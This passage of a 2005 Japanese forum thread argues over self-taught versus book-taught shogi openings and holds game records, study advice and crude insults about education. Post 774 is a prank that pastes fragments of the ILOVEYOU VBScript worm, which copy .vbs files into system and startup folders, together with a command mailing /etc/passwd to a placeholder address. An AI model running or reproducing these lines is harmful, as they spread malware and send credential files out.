鬼殺しのできそこないとか、駒ぶち切って攻めるだけの早石田とか、
無茶苦茶に暴れて攻めが切れたら終わりの馬鹿にそんな発想あるわけねーだろw

683 :名無し名人:2005/08/09(火) 21:47:13 ID:UfMehU6e
自己流ってアヒルっぽい出だしから石田にするのとか
ノリダーの位取りみたいなのかと思ってた
本に載ってる戦法なら自己流じゃねーじゃんw

684 :名無し名人:2005/08/09(火) 22:31:55 ID:y/eYsocB
本にも載ってない完全な自己流ってあんまりないと思うがな。
初手36歩だって先崎が指しているし。


685 :名無し名人:2005/08/10(水) 12:12:01 ID:0QqRtpwQ
>>683
自己流の多くは、戦法自体はすでに存在するものを使用している。
ただし、本の内容をまともに理解していないせいで、手順や駒組が無茶苦茶だったりする。
そういう連中の将棋はお世辞でも独創性があるとはいえない。
だから、自己流はヴァカだの低学歴だのと言われる。

686 :名無し名人:2005/08/10(水) 12:17:51 ID:WBIo22zV
じゃあ、駒組みがめちゃくちゃな奴は低学歴とかスレ立ててやればいいじゃん
自己流自己流って言ってるけど、かなり主観が入ってるわけね

687 :名無し名人:2005/08/10(水) 12:19:37 ID:WBIo22zV
1の主張からすると、将棋やってる癖に将棋の勉強しない奴は低学歴かなw

688 :名無し名人:2005/08/10(水) 12:32:15 ID:D4hMs+aG
何十年経っても定跡が頭に入らない馬鹿なんですが・・・。
みんな、定跡って、どうやって勉強するの?やっぱり、棋書を見ながら並べて勉強するの?
漏れ、モニター画面見ながらなら楽に勉強できるかと思って、PS2の東大将棋定跡道場ってやつ買ってみたけど、「定跡次の一手」なんて、単に正解手が出るだけで、なんで正解なのかわからんし、「定跡道場」なんて、コメント見るのが煩わしいし、じぇんじぇん駄目だった。

689 :名無し名人:2005/08/10(水) 13:00:58 ID:oGIRrPdD
脳内将棋盤とリアル将棋盤ででひたすら並べるんだ

690 :名無し名人:2005/08/10(水) 16:19:52 ID:nuJGpXDe
1をよく見ると>>684のは自己流とは呼ばんのだろう。工夫している奴は認めるそうだから。
>>685この手順で起こるこの変化のほうが定跡形の変化より自分好みだと思って
あえて手順を滅茶苦茶にしている可能性は?
自己流の奴は(その中でも強い人は)定跡はずれで滅茶苦茶だと皆が思う形に
経験からの定跡を持っているんだと思う

691 :名無し名人:2005/08/10(水) 16:41:41 ID:D4hMs+aG
>>689
漏れの脳内将棋盤は、10手以上進むと悪魔がやって来て、駒をグチャグチャにしちゃうんですけど(哀)

692 :名無し名人:2005/08/10(水) 17:26:36 ID:mcVKeaYH
まず、脳内彼女を作る練習するんだ!!!

693 :名無し名人:2005/08/10(水) 18:08:07 ID:5mVA21qm
>>1超自己流で定跡無視した相手には、定跡で対抗すれば解決だろ。
定跡指した方がぜったい有利なんだから

694 :名無し名人:2005/08/10(水) 18:30:05 ID:ImoBdspa
>>693
>>1は全く頭使わずにただ定跡憶えてその通り指してるだけじゃないのかな?
どうしてそのような定跡になったのか全く理解していないから、定跡を外されたとき、
それを咎める手を指せない。暗記バカ(藁

「何で俺は定跡通り指してるのに定跡も知らない自己流に負けるんだ(怒)」
って感じじゃないの?w

695 :名無し名人:2005/08/11(木) 19:24:07 ID:sBTm31gJ
自己流なヤツと、
本で必死に勉強したヤツ、
同じRなら前者のほうが才能あるだろ。
妄想は抜きにして。

696 :名無し名人:2005/08/11(木) 20:54:36 ID:y4vDaTKK
>>695要するに自己流とは、負けながらも体で覚えた『実戦派』
定跡の手筋は覚えてるのに、定跡外されると対応出来ないのは、教科書を丸暗記すれば、それが実社会で通用すると勘違いしてる世間知らずの 『お坊っちゃんタイプ』ってことだな

697 :名無し名人:2005/08/11(木) 22:05:11 ID:J6FC2126
結局>>1は、将棋が弱いんですね

698 :名無し名人:2005/08/11(木) 22:11:31 ID:G1OQQc/z
自己流の奴の神的存在は、雲のジュウザ。

699 :名無し名人:2005/08/11(木) 23:14:53 ID:OYydRh4s
所詮『実戦派』なんて初段程度で止まるけどな。
初心者用の練習マシーンになるタイプ。

700 :名無し名人:2005/08/11(木) 23:31:30 ID:b0qcGeSN
自己流といえばふさたん

701 :名無し名人:2005/08/11(木) 23:37:02 ID:w+Fi7oTM
誰も知らないレール俺が築こう

702 :名無し名人:2005/08/11(木) 23:50:42 ID:y4vDaTKK
>>699まぁ、言われてみれば そんな気もするが、才能と努力次第じゃね?だって実際に例外もあるだろ…
プロと互角以上に渡り合った素人最強の棋客:小池重明の存在は無視出来んしな
あの人だってめちゃくちゃ努力して棋力上げて、自己流で大山名人に勝ったんだからね

703 :名無し名人:2005/08/12(金) 04:09:57 ID:2htLIqRI
自己流戦法をしてくる奴には、とりあえず玉を固めといて、カウンターを狙ってたらほとんど勝てるよ。たいがい自爆しやがるからw


704 :名無し名人:2005/08/12(金) 11:09:54 ID:yE1nM21+
>>703確かにw
序盤数手で定跡外してくる相手には、棋力を試す意味でも受けてみる。相手が自己流でも本当に棋力があるなら攻めが続くし、逆にハッタリなら すぐに攻めが切れて自陣もボロボロ…
攻めは続かなきゃ意味が無いし。
要は きちんと計算された息の長い攻めが出来れば自己流でも通用するんだけど、それが難しいから みんな定跡指すんだよな。別にプロの真似ばっかりする必要は無いと思うけどさ
やっぱ自分の棋力に応じた自己流で あるべきだよな。プロもアマもw

705 :名無し名人:2005/08/12(金) 11:23:05 ID:bGF7PCB3

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706 :名無し名人:2005/08/12(金) 21:13:36 ID:CDr//8di
>>703それでまた強くなるんだよな、そういう受けられまくりの実戦経験積んでさ。


707 :名無し名人:2005/08/12(金) 21:26:32 ID:grqv+351
>>702
小池は普通の四間 あのくらいでは自己流とは言わんとおも歩

立石とかは独創的だわな

708 :名無し名人:2005/08/12(金) 21:39:40 ID:XOwwfPUL
振り飛車なんて全て超自己流

709 :名無し名人:2005/08/12(金) 21:49:47 ID:oA8yuvzL
年中指してんのに、何年も初心者指ししてる奴のこと言ってんだよ
たまにいるじゃん、そういうオッサン

710 :名無し名人:2005/08/13(土) 01:39:11 ID:sLAE4gSE
>>702小池重明の四間飛車は序盤がもぅめちゃくちゃ超自己流なんだよ。まぁ、四間に振って美濃囲いにするところまではだいたい定跡。でも、そこから中盤までが攻めまくって、相手に逆転くらう。しかし終盤戦がマジ凄い!

711 :名無し名人:2005/08/13(土) 01:41:39 ID:sLAE4gSE
まるで天野宗歩と形容されるくらいに寄せの読み筋は絶対に逃さない。実際に棋譜並べてもらえばわかるはず
つまり、あの人は終盤に強いから序・中盤の自己流(多少のミスを覚悟した攻め)が通用したといえる。


712 :名無し名人:2005/08/13(土) 01:48:42 ID:5wWRXBSi
けど、今じゃ通用しないだろうな。4枚穴熊とかに組まれて負けそう。

713 :名無し名人:2005/08/13(土) 02:21:45 ID:n5vyik7I
まあ、アマ予選30分キレで超自己流に対応できないようでは
駄目ですな>>1


714 :名無し名人:2005/08/14(日) 12:42:34 ID:32QHWYOm
>>712小池の時代にも振り居両方とも穴熊あったと思うが。
>>709
1は強くても弱くても、と言ってるので其れだけじゃなく角頭歩創案の某プロ
のことなども含めていると思われ。

715 :名無し名人:2005/08/16(火) 06:54:18 ID:VVq7fa2/
>>688
東大定跡道場マジ糞だよね〜、俺PCの持ってるけど
分岐やら手順進めるのやら使いづらい、そっちがうざすぎて頭に入らない
柿木に移せればいいんだけどね( ´∀`)

716 :名無し名人:2005/08/16(火) 07:17:07 ID:VVq7fa2/
と思ってたら、激指4で通したらできました( ´∀`)

717 :名無し名人:2005/08/16(火) 08:38:33 ID:uJhP+Iqw
なんかさっき居玉で向かい飛車やってきたやつがいたんだけど。
こういう自己流は市ね!

718 :名無し名人:2005/08/16(火) 12:37:50 ID:vTQcwS+Z
>>717
たぶんメリケン向かい飛車という島ノートにも載ってる戦法です
居玉でしかけられたというのはあなたに仕掛ける隙があったということ。プギャー。

719 :名無し名人:2005/08/16(火) 17:10:35 ID:bov1L6XO
飛車先を2六までしか伸ばしてないのに向飛車とか、
四間に振って、こちらが舟囲いにしただけで、三間に振り直したりする馬鹿がいるが、
あれは池沼か?

向飛車は、居飛車が飛車先を2五まで伸ばした場合なら、2筋からの攻めに備えるか、
または2筋から逆襲する意味を持つが、そうでなければ意味がないだろ。
四間に振って、相手が急戦っぽいってだけでさっさと三間に振るのも、早仕掛けなどの余地がある場合には無意味な手だろ。

戦法を知ってることと、自己流でないことはまったく別。
ある意味、完全な自己流以上にバカっぽい。

720 :名無し名人:2005/08/16(火) 17:56:15 ID:CMmroqqU
たしかに向飛車は???ってかんじになるね
ただ最初はそうやって失敗して学んでいくんじゃない?

721 :名無し名人:2005/08/16(火) 18:18:24 ID:vOsiM6hr
定跡を中途半端にしか記憶していないくせに、自分を定跡通だと勘違
いしているイタい奴が多い、ということだな。

722 :名無し名人:2005/08/16(火) 18:25:57 ID:CMmroqqU
まず自分で考えないとダメだよね
定跡だからって指して失敗するとなかなか修正きかない
逆に自分でイケルって指した手は失敗しても立ち直れる

723 :名無し名人:2005/08/16(火) 18:45:48 ID:1Yxmn2y8
個人的にはマジで自己流ならいいなぁ、と思う。
仮にそれが既に発表されている「戦法」だったとしても。
オレ様もいくつか自己流の指し方がある
正直、全然他愛の無いさし方だが、勝率いいし、気に入ってる
ま、どうせ200もRがあがってしまえば通用しないだろうし、
まさか升田幸三賞なんて思ってもいないし

オレ様が気に入らないのは>>717が指摘したような異質な戦法丸暗記して
で、それに相手が嵌ったのをほくそ笑むやつ(>>717に文句あるんじゃないお)
考えないでさすやつと対戦したくないな
逆にお互いに考えまくって指したのなら力戦でぼろ負けしても気分悪くない

724 :名無し名人:2005/08/16(火) 18:59:37 ID:CMmroqqU
でも、子供の時ハメ手合戦ってだれしも一度は通るよね
(鬼ごろし、早石田、向飛車のすぬきetc……)
だけどネット将棋だと殺伐としちゃうのかな


725 :名無し名人:2005/08/16(火) 20:13:47 ID:NQ7/sF02
こうやって向飛車から8五に仕掛ける手順は浮雲系(@新型陣形スレ)で
よくある手。

−歩歩−−− 
歩−金歩−−
−−角銀歩歩
−飛−−−−
香桂−−−−

726 :名無し名人:2005/08/16(火) 20:45:26 ID:1Yxmn2y8
>>724
オレはそんなの通っていないな。
通っていたら多分将棋なんてつまらんと、2度と関わらなかったと思う
ネットだけでなく、リアル将棋でも殺伐とするね

一応それらの戦法への受けの初歩は自分で見つけたり、本で見つけたりしたけど
先の方までは見向きもしていない
対面したら序盤から時間使いまくって結局はまったらまぁ仕方がない
独り感想戦でもやれば次に嵌らないし
実際初対面で大抵嵌らないし
正直、見下す

最初にであったのが矢倉。そこから守備範囲広げた
攻防の駒の役割分担とか、必須手筋の宝庫だし、
初心者が将棋の面白さを感じ取るには矢倉とかが分かりやすい
でもって有段のおっさんとかにめったくそにやられて
段とか、ましてプロとかすげえって思った



727 :名無し名人:2005/08/16(火) 21:19:38 ID:CMmroqqU
人によっていろいろなんだね

自分は小学生の時みんなでワイワイいいながら
「ハマッたーきたねー」「かかるほうが悪い!」
みたいに言い合いながらやってたから結構イイ思いで

728 :女性棋士 ◆Hp17aNs7O2 :2005/08/16(火) 22:04:47 ID:v6JcMA9L
最初から定石やってると手が縮むぞ
級位は級位らしく棒銀か風車かハヤイシダでもしておくといい

729 :名無し名人:2005/08/17(水) 02:53:57 ID:r0N0kUUl
棒銀にも風車にも早石田にも定跡があるだろ

730 :名無し名人:2005/08/17(水) 07:27:14 ID:vxCkSxn4
ハメ戦法こそ手筋の宝庫だからな
同じハメ戦法ばかり使ってる人はアレだけど、受けで学習してる方は有意義

731 :726:2005/08/17(水) 08:16:44 ID:vWW7mV4q
>>730
あ、そういう意味では有意義だと思うよ。受け手として。
でも、使う人は見下すだけ


732 :名無し名人:2005/08/17(水) 08:24:50 ID:jeN0Vz8K
我流でもいいからたくさん指してから本で勉強してみr

733 :名無し名人:2005/08/17(水) 12:20:01 ID:6kBJp2a1
早石田や風車はまだ結論でてないとおもうが。相掛りの棒銀も一路銀上がる場所変えただけで大流行したし、矢倉の原始棒銀もまだかなり難しい。ハメ手と言われてるからって指しても見ないなんて食わず嫌いで可能性を狭めてるよ。

734 :名無し名人:2005/08/17(水) 12:32:09 ID:YprsnTm3
>>733同感

俺も昔、上手い人にこっぴどくやられた戦法はとりあえず
自分でも指してみれって散々いわれた

735 :名無し名人:2005/08/18(木) 02:30:32 ID:T811WfjF
自己流じゃないけど最近本が出たからか、角交換型四間飛車が多いのがなんか嫌だな〜。
なんか必勝法はないのかこれ・・・

736 :名無し名人:2005/08/18(木) 10:49:24 ID:vTYBwST+
>>735
指しなれるしかないね。あの戦法は。
昔はよくつかってたが序盤から疲れるんでやめた。

737 :名無し名人:2005/08/18(木) 14:26:06 ID:xlza6NLW
ソフトが定跡通り指してくれません

738 :名無し名人:2005/08/18(木) 15:38:06 ID:7HWdtEJK
>>737
知らんがな(´・ω・`)

739 :名無し名人:2005/08/19(金) 03:40:07 ID:YgodG0Wh
↑あげ

740 :名無し名人:2005/08/19(金) 04:04:15 ID:EdQmZ54S
俺のじいちゃんみたいに金一枚に銀二枚も使って全部5、6筋に持ってきて
その上その筋に飛車を持ってきて突破を試みる戦法?しか指せず、
NHKトーナメント見ながら六段ならわしと同じくらいやな、とかいってるのは腹立つ

741 :名無し名人:2005/08/19(金) 08:12:04 ID:7JugFdUG
で、そのじいちゃんに勝てるんだろなおまいは?

742 :名無し名人:2005/08/19(金) 11:16:10 ID:FTnMtZ5m
7:3くらい
居尾車や4間飛車だと負ける

743 :女性棋士 ◆Hp17aNs7O2 :2005/08/19(金) 12:20:49 ID:rSxJ/y5Y
>>740
内藤9段には勝つが銀星さんには勝負にならないってタイプだな

744 :名無し名人:2005/08/21(日) 03:26:13 ID:du5JT0/Q
自己流で強いのは頭が良いからという言い訳はずいぶん出てきたが、
頭の良し悪しはさておいて、何かを始めるときに本読まないでいきなりやるようなやつは高学歴になれない。
これは間違いない。
勤勉さに欠ける時点で、社会において高い地位を占めるに値しない人物なのだ。

745 :名無し名人:2005/08/21(日) 06:33:28 ID:JPyaqXN3
>>745

高い地位を望んでる人間はそう思うだろうなw

746 :名無し名人:2005/08/21(日) 10:02:36 ID:V+sCc5g8
低学歴戦法マンセーあげ

747 :名無し名人:2005/08/21(日) 10:11:55 ID:FD8jkSx4
>>745が独り言を言っている件について。

748 :名無し名人:2005/08/21(日) 10:51:08 ID:JPyaqXN3
>>747
誰でも一緒w

749 :女性棋士 ◆Hp17aNs7O2 :2005/08/21(日) 20:25:09 ID:EB9OrPZI
>>745
自己啓発
オツデス

750 :名無し名人:2005/08/21(日) 23:58:28 ID:ttP48UuK
小池重明たんヽ(´ー`)ノ

751 :名無し名人:2005/08/23(火) 21:02:16 ID:DAwEp01l
>>744
何かを始めるときに本を読むのはそのほうが効率的であるから。
本を読まないからといって勤勉でないとは限らない。本を読まなくとも強い
と言うことは、上達への遠回りをしながらも人並みまたはそれ以上に上達している
ということであり、むしろ高い地位を占めるに値するとも言える。
>>745(真偽はともかく)>>744のいうことは価値観によって左右されるものでは
無いと思う。

752 :名無し名人:2005/08/23(火) 23:00:05 ID:PaBoDzEI
とりあえず名前欄に年収かいとけや

753 :名無し名人:2005/08/24(水) 01:59:54 ID:7xauRU5O
>>751
基本公式も知らないで数学の問題を解こうとする馬鹿はいない。
少なくとも受験には向いていないタイプ。

というか、先人が築いた知識の体系があるのに、それを無視するのがいかに非効率であるか、それを理解していない時点で問題外。
独創性というのは先人を乗り越えて作られるべき物であって、最初からでたらめなのは独創性ではない。

754 :名無し名人:2005/08/24(水) 02:06:41 ID:1kS4a8JP
って言うか、普通なんでも始めようと思ったら本読むだろ。野球でもサッカーでも。
本読まない奴は、別にうまくなりたいとか、ぜんぜん思ってないんだと思う。指せればいいんだよ。

755 :名無し名人:2005/08/24(水) 03:14:02 ID:XwwJT/ed
>>754
誰でも初めは遊び程度の気持ちでやるだろう。
そのまま遊びで終わるやつは、それまでだが、糞が付くほど自己流のやつは自己流の楽しみを知ってるし、何をやるにしても最短の上達方法を考えつくと思うのだが、どうだろう?

756 :名無し名人:2005/08/24(水) 03:16:32 ID:h8nmGduC
角を端に上がる原始中飛者をやってくる人がいた。


757 :名無し名人:2005/08/24(水) 07:47:10 ID:aB7qUmZ0
端角が特徴の55竜中飛車はそれなりの戦法ですよ

758 :女性棋士 ◆Hp17aNs7O2 :2005/08/24(水) 10:25:57 ID:fylXsD3j
>>753
確率統計系は基本公式覚えたのは
とりあえず全探索の終了後ってこともありますよ


759 :120マソ:2005/08/24(水) 10:27:55 ID:38E6C9OQ
オレ様はいつでも超自己流

760 :名無し名人:2005/08/24(水) 11:21:16 ID:+M1uvn9/
定跡覚えてるやつでも最初から本で覚えてるとは限らないぞ?
野球やサッカーなんぞ尚更、遊びでやってから本格的に上手くなりたくなって
初めて本読むやつのが圧倒的に多いと
思うがw

で、将棋の場合もだが、子供から始めたやつが本読んでから始めるのが多いと思うか?
大抵は将棋出来るやつに駒の動かし方を
習って
強くなるやつにしてもそいつの動かし方
とか実戦で覚えて実戦で或る程度、色々やってから本ジャマイカ?w

オレも詰め将棋とか解いたりはしたが
棋符中心の読み物としては、つむぁらん本は
高段なっても強くなる為の義務感でしか読めなかったよ。
実戦7:3本くらいだったな。
自分より強いやつと感想戦込みでやれる環境なら強いやつから覚えりゃいんだよ。
自己流のやつからしたら定跡知らん自分より弱い定跡使いからは
何も学べんw
と思ってるだろから、自己流に勝てない
やつはそいつの自己流の原因でもあるな
。もっとガンガレ♪

761 :名無し名人:2005/08/24(水) 14:43:11 ID:aB7qUmZ0
野球は本読まないでうまくなる奴も多いだろ。将棋にくらべりゃ断然多い。
直感や運動神経があっての理論だからな。むしろ一般人の理論派て補欠というイメージがあるんだが。

762 :名無し名人:2005/08/24(水) 15:08:08 ID:BA+JMHeU
超自己流の奴はむかつく。そういう風に考えていた時期が俺にもありました。
でも最近はそれも一つの個性なんだな、と素直に認められるようになりました・・・

763 :名無し名人:2005/08/26(金) 03:09:34 ID:gXdWklIi
>>762
同意。
勉強する根性がなくて偏差値低いのも、IQが低いのも立派な個性だね。

764 :名無し名人:2005/08/26(金) 03:44:42 ID:1bpVffnH
1、将棋覚えてからずっと自己流でさしている
2、将棋覚えて定跡覚えてずっと定跡を信奉している
3、定跡一通り覚えてみたものの、超自己流のやつに叩きのめされ転向
4、3のように叩きのめされ 転向した後で限界を感じより深く定跡を理解するようになる
強さでいえば4>3>2=1のよ〜なきがする

765 ::2005/08/26(金) 08:41:34 ID:EQqKmKX2
▲7六歩 △3四歩 ▲2六歩 △3三角 ▲6八玉 △3二銀
▲7八玉 △8四歩 ▲6八銀 △8五歩 ▲7七銀 △7二銀
▲6六歩 △8三銀 ▲5八金右 △8四銀 ▲9六歩 △9四歩
▲6七金 △9五歩 ▲同 歩 △同 銀 ▲同 香 △同 香
▲9七歩 △9八歩 ▲5六歩 △9一香 ▲7五歩 △9九歩成
▲同 角 △9七香成 ▲同 桂 △同香成 ▲7六銀 △9二飛
▲7七角 △8六歩 ▲同 角 △9六成香 ▲7七角 △8二飛
▲8六香 △8四歩 ▲9四歩 △6四桂 ▲9三歩成 △同 桂
▲9四歩 △8五桂 ▲同 香 △同 歩 ▲9三歩成 △8四飛
▲8八桂 △7六桂 ▲9六桂 △4四飛 ▲4六香 △5四飛
▲6五銀 △8八銀 ▲9五角 △9四歩 ▲7三角成 △6二金
▲8三馬 △6四香 ▲5四銀 △6六香 ▲7六金 △5四歩
▲6七歩 △8九銀不成▲6八玉
まで75手で先手の勝ち


ものの見事な棒銀対策を御覧あれ。へー棒銀は高段者でもやるんだという
ところである。某四段対某五段です。

766 :名無し名人:2005/08/26(金) 08:59:51 ID:g4kb69My
92飛とせずに86歩なら後手よいんじゃない?

767 ::2005/08/26(金) 09:51:32 ID:EQqKmKX2
ところで、町道場初段からどうやったら強くなれるかな?やっぱり
指して感想戦やんないとだめかな?

768 :760:2005/08/26(金) 10:38:55 ID:FcPL4M+7
《767
初段なら実戦のみで上達は、ちとキツイんでは?とは思うが
感想戦やるだけでも大分違うはず。

道場のネットに勝るやも知れぬ利点として感想戦とか十分出来るってのが
有ると思うしね。

人となりも、そいつの得意・不得意戦法も序盤研究型か腕力任せの終盤型かも
良く分かるだろから、意識的にそいつから吸収したいとこ有ったら
実戦で覚えるなり聞くなりすると早いと
思うよ。
勝負ばっか考えて夢中なって嬉しい!悔しい!だけで終らすより
感想戦で一回並べたら後でも並べ直せるんじゃない?有段者ですし。

ただ、人それぞれで本にしろ実戦にしろ棋符並べにしろどれでも強くはなれると思いますので感想戦が必須とは言いません。
やってみて強くなる為だから仕方ない!
とゆう感じで義務感?みたいに感じる
勉強は合ってなくて上達あまりしない
と思うw

769 :名無し名人:2005/08/26(金) 13:00:39 ID:2J1MrhS0
奇襲とか見たこと無い攻めかたされると面白いから、いいんだけど
簡単に攻め切らして投げちゃうのはちょっとな
もう少し工夫すればいいのに

770 ::2005/08/26(金) 16:07:58 ID:urI+QS9w
いるんですよ、級位者で無理攻めする人が。とりあえず攻めて成功すればいい
という感じの人いますよ。攻めが切れてるのに攻めてる人がいます。特に級位
者に多いですね。あと人真似してる人いましたが、真似になってない人いまし
た。いきなり矢倉から玉頭攻めやる人いましたからね。弱点になる歩を突いて
きたんですよ。まあ咎めましたけどね。一度振り飛車で銀冠から玉頭攻めした
ものでその真似だと思うんですが。感心しなかった。むしろラッキーだと思っ
た。

771 :名無し名人:2005/08/26(金) 16:34:22 ID:L6osNLYN
自己流は限界があるとか言ってるやつはくそ。ただの雑魚だろ。
俺はつねに自己流だが。
最初は飛車先の歩交換して4段目に飛車引いて相掛かり模様と思わせる。
でも俺の場合は自己流でそこから石田に組み替えて振り飛車にする。
ほとんどの相手は俺が居飛車やると勘違いして序盤で作戦負けになるからねw
これで勝率7割超えてる。

772 :名無し名人:2005/08/26(金) 16:42:35 ID:FEj5MliY
>>771
もっと強いヤツと指せ!

773 :名無し名人:2005/08/26(金) 16:43:26 ID:ZphIOnsX
>>771
釣りかもしれんが一応言ってみる。




それは普通のひねり飛車では?

774 :名無し名人:2005/08/26(金) 17:12:44 ID:U21jNNuE

      ドスッ
  ∧∧ ミ _
  (  ,)┌┴┴┐
  /  つ 終了│
〜′ /′└┬┬┘
 ∪∪   ││_ε3
     ゛゛゛゛









c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"

775 :名無し名人:2005/08/26(金) 17:15:21 ID:21TYKk9U
∧_∧         ミ ギャハッハッ AAズレてる!AAズレてる!
     o/⌒(. ;´∀`)つ
     と_)__つノ  ☆ バンバン



∧_∧
     o/⌒(゜Д゜  )つ
     と_)__つノ

776 :名無し名人:2005/08/26(金) 18:26:26 ID:h/gXsb6R
>>771-773
ワロス
ひねり飛車は手順が難しいけど組めれば勝率高いよな
「将棋に先手必勝戦法があればそれはひねり飛車だろう」と言われた事が頷ける

777 :名無し名人:2005/08/26(金) 19:49:57 ID:TLrmdQil
本読んでも球は速くならんよ。

778 :120マソ:2005/08/26(金) 19:57:44 ID:Z/A5AP7G
>>777
本読むだけで普通は球速くなるよ

779 :名無し名人:2005/08/26(金) 20:34:48 ID:TLrmdQil
野球を全く知らない白人でためしてみるかw
本読むだけのやつと、
ビデオで投球フォームを見せてひたすら投げ込ませるだけのやつとで。

780 :女性棋士 ◆Hp17aNs7O2 :2005/08/26(金) 20:37:53 ID:qCM7aY/Z
>>777
変化球が球を速く魅せてくれるよ

781 :名無し名人:2005/08/26(金) 20:47:12 ID:pdQ0nOAj
ちょい待てw
本読んで投げる奴と本読まずに投げるだけの奴を比較してるんだと思うぞ。

782 :名無し名人:2005/08/26(金) 21:30:14 ID:TLrmdQil
本読まなくて定跡知らないひたすら実践派なヤツって居るじゃん。
本読むくらいなら10秒将棋を20回指してカンを育てるよ、くらいの。

783 :名無し名人:2005/08/26(金) 22:16:58 ID:jgEqSdLj
ところで、「超自己流」と「自己流」の
違いが分からないのですけど

784 :名無し名人:2005/08/26(金) 22:19:56 ID:L6osNLYN
このスレ、ウィルスに汚染されてないか?

785 :名無し名人:2005/08/26(金) 23:03:27 ID:7WmYVSGR
>>784

>>774

ウィルスソフトを更新してみ。で駄目なら仕方ないね

786 :名無し名人:2005/08/26(金) 23:09:54 ID:L6osNLYN
>>785
いや、nortonと契約されてるから自動で削除してるみたい。>>774のプログラムは何なの?
まさかこの人が犯人?違うよね?

787 :名無し名人:2005/08/27(土) 04:50:48 ID:j6vGINZU
ウイルスとノートンが思い込むコードが書かれているだけ。ウザいだけで無害

788 :名無し名人:2005/08/27(土) 07:19:10 ID:XGj+LJF2
将棋が自己流のやつに負けても屈辱に思う必要ないだろ。
どうせ何事も学習しないでいい加減にやってる馬鹿なんだから。
将棋で勝てたところで、確実に学歴ではかってるだろうし、
プログラミングなんて絶対にできないだろうし、
数学も物理もその他の学問も全て偏差値低いんだろうし。

世の中は自己流で勝てることのほうが少ないんだから、
そういう人生なめてる低学歴は放置でよい。

789 :一 五明 ◆EATzkCF5Wg :2005/08/27(土) 08:04:10 ID:moRQ7ZN9
プログラムは出来るぞ…。

790 :名無し名人:2005/08/27(土) 08:54:45 ID:J8Ko9Ibd
>>788
「他では勝ってる」なんて妄想が必要なほど
悔しいのかよ・・・・

791 ::2005/08/27(土) 12:29:05 ID:0kByAFKx
京大の将棋部はどうなる。名門中の名門だぞ。偏差値高いし将棋強いし。

792 :名無し名人:2005/08/28(日) 18:37:46 ID:Awyv9QKB
>>791
スレタイ嫁

793 :名無し名人:2005/08/29(月) 09:34:29 ID:KPJFWcsn
>>788
将棋で自己流が人生も自己流とは限らない。
将棋は定跡研究するほど興味も無く、自己流でやってるだけだとしたら…
それに負けたら屈辱に思えよ

794 ::2005/08/29(月) 10:57:57 ID:Cr4xJtVu
なんだか強くなればなるほど定跡に近づいてる気がするが、
気のせいか?

795 :名無し名人:2005/08/29(月) 17:07:13 ID:S1rB0C8H
定跡とはそういうものです

796 :名無し名人:2005/08/30(火) 02:44:10 ID:eNVnKwPg
定跡とは最善手の塊だから

797 :名無し名人:2005/08/30(火) 02:57:06 ID:HWfj9/PJ
>>1000

798 :名無し名人:2005/08/30(火) 02:57:38 ID:HWfj9/PJ
>>1000

799 :名無し名人:2005/08/30(火) 03:04:19 ID:HWfj9/PJ
1000

800 :名無し名人:2005/08/30(火) 03:38:43 ID:s4r9v9FX
800

801 :名無し名人:2005/09/04(日) 15:36:12 ID:vigcLr5C
後手で手損角交換して筋違い角打つ香具師は池沼。

802 :名無し名人:2005/09/04(日) 15:37:39 ID:0CglDLre
低学歴戦法の中で得意なのはゴキゲンと石田です

803 :名無し名人:2005/09/04(日) 18:14:14 ID:3yiyJkeU
創造性も挑戦性も持ち得ないサラリーマン戦法のなかで僕が得意なのは4間飛車です。

804 :名無し名人:2005/09/05(月) 00:01:48 ID:UEZ0axw6
無知でデタラメな無理筋のニート戦法のなかで僕が得意なのは
うろ覚えで手順が間違えてる鬼殺しです。

805 :名無し名人:2005/09/09(金) 21:23:30 ID:t3rlzpoN
全てが意味をなさない手→池沼
駒ブチ切って攻めるだけ→ヴァカ
定跡の改良・新研究→秀才
全くのオリジナルで、なおかつプロにも咎めることができない形→天才

806 :名無し名人:2005/09/09(金) 23:23:02 ID:V8px6K06
>>805
低能のオレはどういうタイプに分類されますか?

807 :名無し名人:2005/09/10(土) 04:43:35 ID:TYDshma+
帝脳戦法を考えれ

808 :名無しさん@そうだ選挙に行こう:2005/09/10(土) 23:05:54 ID:iqF4jcxN
>>806
yahoo将棋でよく見かける原始棒銀・原始中飛車
銀を適当に出す→切る→拠点作る→ぶちこむ
まで考えるのでヴァカよりは上。
知能的にはアメーバ並み。

809 :806:2005/09/10(土) 23:08:24 ID:lEm5OI7Q
ほめられちった(・∀・)

810 :名無し名人:2005/09/12(月) 15:40:05 ID:2bt8s32R
気品のあるゲームが好きなので将棋から囲碁・チェスに転向した。
プロまで原始棒銀棒銀使う時代だからね。
即効棒銀で勝てる〜、ってことになれば、
ようするに「攻めるが勝ち」っていう素人の発想の延長に過ぎなくなる。

811 :名無し名人:2005/09/12(月) 18:58:17 ID:Re11arAv
>>810
まとめると
「負け続けるので嫌になった」
ってことでFA?

812 :名無し名人:2005/09/13(火) 00:58:55 ID:WriZA+ah
折れよくわかんないんだけどチェスは攻めても勝てないのか?

813 :名無し名人:2005/09/13(火) 14:48:27 ID:5qct/bJF
後手一手損角換わりを愛用している超自己流の俺が来ましたよ

814 :名無し名人:2005/09/13(火) 14:51:05 ID:F8EX2nSn
鬼殺しを多用する俺もきましたよ。
2段以下は鬼殺しを貶める資格無しw

815 :名無し名人:2005/09/13(火) 16:13:43 ID:KokYXTCu
鬼殺しはそれだけで定跡の本もでてるくらいだし
ぜんぜん自己流とは呼べない

816 :名無し名人:2005/09/13(火) 16:28:05 ID:5qct/bJF
早石田や鬼殺しなんぞコピー将棋の代表だろうが

817 :名無し名人:2005/09/13(火) 17:10:52 ID:7cNllzTb
なんでも右玉の俺がきましたよ

818 :名無し名人:2005/09/13(火) 20:13:47 ID:pE/QD/3f
>>817
寄りチンですか?

819 :名無し名人:2005/09/13(火) 20:18:08 ID:F8EX2nSn
>>816
で、コピーする実力あるの?w

820 :名無し名人:2005/09/13(火) 20:27:51 ID:WriZA+ah
コピー将棋ってどゆこと?定跡まんま指してるってことか?

